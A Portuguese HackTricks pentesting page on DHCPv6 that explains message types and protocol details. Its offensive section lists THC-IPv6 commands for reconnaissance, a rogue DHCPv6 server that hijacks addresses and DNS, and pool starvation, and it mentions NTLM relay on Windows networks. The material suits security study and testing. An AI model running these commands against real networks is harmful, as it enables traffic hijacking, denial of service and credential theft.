DHCPv6
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
DHCPv6 vs. DHCPv4 Tipo de Mensagem Comparação
Abaixo é apresentada uma visão comparativa dos tipos de mensagem DHCPv6 e DHCPv4:
| DHCPv6 Message Type | DHCPv4 Message Type |
|---|---|
| Solicit (1) | DHCPDISCOVER |
| Advertise (2) | DHCPOFFER |
| Request (3), Renew (5), Rebind (6) | DHCPREQUEST |
| Reply (7) | DHCPACK / DHCPNAK |
| Release (8) | DHCPRELEASE |
| Information-Request (11) | DHCPINFORM |
| Decline (9) | DHCPDECLINE |
| Confirm (4) | none |
| Reconfigure (10) | DHCPFORCERENEW |
| Relay-Forw (12), Relay-Reply (13) | none |
Explicação detalhada dos tipos de mensagem DHCPv6:
- Solicit (1): Iniciado por um cliente DHCPv6 para encontrar servidores disponíveis.
- Advertise (2): Enviado pelos servidores em resposta a um Solicit, indicando disponibilidade para o serviço DHCP.
- Request (3): Clientes usam isto para solicitar endereços IP ou prefixes de um servidor específico.
- Confirm (4): Usado por um cliente para verificar se os endereços atribuídos ainda são válidos na rede, tipicamente após uma mudança de rede.
- Renew (5): Clientes enviam isto ao servidor original para estender o tempo de vida dos endereços ou atualizar configurações.
- Rebind (6): Enviado para qualquer servidor para estender o tempo de vida dos endereços ou atualizar configurações, especialmente quando não há resposta a um Renew.
- Reply (7): Servidores usam isto para fornecer endereços, parâmetros de configuração, ou para reconhecer mensagens como Release ou Decline.
- Release (8): Clientes informam ao servidor para parar de usar um ou mais endereços atribuídos.
- Decline (9): Enviado por clientes para reportar que os endereços atribuídos estão em conflito na rede.
- Reconfigure (10): Servidores solicitam que clientes iniciem transações para configurações novas ou atualizadas.
- Information-Request (11): Clientes solicitam parâmetros de configuração sem atribuição de endereço IP.
- Relay-Forw (12): Agentes relay encaminham mensagens para servidores.
- Relay-Repl (13): Servidores respondem aos agentes relay, que então entregam a mensagem ao cliente.
Notas Rápidas do Protocolo (Ofensivo)
- Clientes DHCPv6 usam a porta UDP
546e servidores/relays usam a porta UDP547. - Clientes enviam Solicit para All_DHCP_Relay_Agents_and_Servers (
ff02::1:2); servidores/relays escutam lá. All_DHCP_Servers éff05::1:3. - Identidades de cliente e servidor são transportadas em
OPTION_CLIENTIDeOPTION_SERVERIDusando DUIDs. Isso é útil para fingerprinting do mesmo host através de mudanças de endereço. - Atribuição de endereço é solicitada com
IA_NA(endereço não temporário) e delegação de prefixo comIA_PD(prefixo do roteador a jusante).
Recon Rápido
# Basic DHCPv6 traffic capture
sudo tcpdump -vvv -i <IFACE> 'udp port 546 or udp port 547'
# THC-IPv6: discover DHCPv6 servers and their options
sudo atk6-dump_dhcp6 <IFACE>
Rogue DHCPv6 Server (Address/DNS Hijack)
# THC-IPv6: rogue DHCPv6 server advertising address + DNS
sudo atk6-fake_dhcps6 <IFACE> <PREFIX>/<LEN> <DNSv6>
Este é um servidor rogue DHCPv6 genérico on-link. Em redes Windows/AD, combine isto com higher-level relays (veja a página IPv6) se quiser NTLM relay primitives.
Esgotamento do pool / DHCPv6 Starvation
# THC-IPv6: exhaust the server's address pool
sudo atk6-flood_dhcpc6 <IFACE>
Aviso sobre a mensagem Reconfigure
DHCPv6 Reconfigure não é aceito cegamente: clientes só o aceitam se tiverem enviado explicitamente OPTION_RECONF_ACCEPT. Por padrão, um cliente é relutante em aceitar mensagens Reconfigure, então ataques Reconfigure pouco sólidos costumam falhar a menos que você observe/induza essa opção.
Referências
-
https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


